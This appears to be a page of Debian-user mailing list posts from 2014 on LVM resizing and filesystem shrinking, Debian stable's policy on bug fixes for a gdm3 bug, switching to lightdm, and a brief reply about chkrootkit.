>> If you don't have a
>> backup you can try to resize the LV again to its original size and hope
>> for the best.
> 
> Thanks for suggestions. Yep, I managed to return back to the
> original size at first. Then I resized it properly (incl. leaving
> few gigs as unused space). e2fsck did spent a while to recheck each
> partition but seems that everything is in order now. We'll see in
> days to come ...

Nice! It is still possible that some of your data was overwritten but if
the fsck didn't find anything troubling you are probably safe now.

Next todo: implement a useful backup strategy. :)

J.
-- 
I frequently find myself at the top of the stairs with absolutely
nothing happening in my brain.
[Agree]   [Disagree]
 


signature.asc
Description: Digital signature

Re: When bug fixes are applied on stable ?

2014-06-05 Thread Curt

On 2014-06-05, Bob Proulx  wrote:
>
> My best advice is to use one of the other xdm programs such as lightdm
> which does not suffer from that problem.  Give lightdm a try and you
> might find it superior to gdm3.  I did.
>
>   apt-get install lightdm
>

I asked myself, "How do you change the default display manager?" because
I didn't know how, having little know-how; first I suspected the
modification might be made through the update-alternatives system, but
apparently not.

dpkg-reconfigure gdm3

seems to be the way to do it from what I've read so far. Maybe there's
more than one way to skin this cat (I love cats by the way and no
actual animals were damaged or maligned writing this post).

-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: https://lists.debian.org/slrnlp0dj8.29v.cu...@einstein.electron.org

Re: Resizing LVM issue

Richard Hector wrote:
> I prefer not to get in the situation where I have to shrink a filesystem
> though - xfs doesn't support it anyway.

Agreed.  Even better is to avoid it.  Small ext{3,4} file systems
shrink acceptably well.  But larger ext{3,4} file systems can take a
very long time to shrink.  I once made the mistake of trying to shrink
a 600G filesystem.  The operation was eventually successful.  But it
took 10 days to complete!  And once I started it there was no other
option than to let it complete.

There are many stories of this from people doing the same thing on the
net.  It seems that the code for expanding the file system is used
often and optimized to run fast but that the code for shrinking it is
not used very often and therefore has severe inefficiencies.  But if
you wait long enough, more than a week in my case, then it will finish
successfully.

If I ever need to shrink an ext{3,4} file system again I will not
shrink it.  I will instead create a new file system of the desired
size and then copy from the old to the new.  That is reliable and will
complete in much less time than shrinking an existing file system.

Bob

signature.asc
Description: Digital signature

Re: When bug fixes are applied on stable ?

Prunk Dump wrote:
> My debian wheezy clients are all affected by the following bug in gdm-3.4.1 :
> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=683338
> 
> This bug is marked as Fixed, because it does not appear in gdm-3.8.3-1
> witch is in the Debian archive.

Ah, yes.  A typical situation.  The Debian BTS is designed around the
Unstable Sid track.  Bugs get reported against versions.  If a newer
version appears in Unstable then the bug is closed.

> This bug is forwarded to the gdm bug tracking system but it was never
> fixed in the 3.4.1 version.
> 
> My question is when this bug will be fixed on Debian Stable ?

It will be fixed when the version that no longer has the bug is
released as a Debian Stable rlease.

> -> On the next wheezy release ?

No.  Or rather very unlikely.  It is not up to the package
maintainer.  Most package maintainers would like their packages to be
released into the next minor point release.  But it is not up to the
package maintainer.  It is up to the Debian release team what goes
into a minor point release.

Packages are updated in point releases for security issues.  They are
updated when the package has a bug that makes it significantly
unusable.  But being a production stable release packages are not
normally updated for normal bugs.

  https://www.debian.org/News/2014/20140426

If someone were really motivated this could be patched into 3.4.1 and
a package submitted to stable-proposed-updates.  Of course then you
could simply use that patched package yourself outside of the official
Debian packages.  When you upgrade to the next Stable they would be
replaced and all would be normal.

If the package were one that was available in debian-backports then
you could install it from there.  Unfortunately for your problem with
gdm3 that package isn't in backports.  Someone could prepare a
backported package however.  Using debian-backports is generally much
easier than pushing something through stable-proposed-updates.

  http://backports.debian.org/

> -> Never on wheezy, I need to wait for the stable Jessie ?

Correct.  Unlikely on Wheezy due to it not meeting the criteria for a
stable point release update.  Would need to convince the Debian
Release team.  Normally the fix would appear in the next release.  The
next release is Jessie.

> -> When the bug will be fixed by the gdm maintainers in the 3.4.1 version ?

My best advice is to use one of the other xdm programs such as lightdm
which does not suffer from that problem.  Give lightdm a try and you
might find it superior to gdm3.  I did.

  apt-get install lightdm

Bob

signature.asc
Description: Digital signature

Re: Should I install chkrootkit?

Ahoj,

Dňa Thu, 05 Jun 2014 01:23:15 -0400 Doug 
napísal:

> and was no longer able to maintain his program from jail. It is still 
> around, and you can use it if you want. I think GParted has it as an 
> option, IIRC.

And Debian installer (in expert mode) too ;)

regards

-- 
Slavko
http://slavino.sk


signature.asc
Description: PGP signature

Re: Should I install chkrootkit?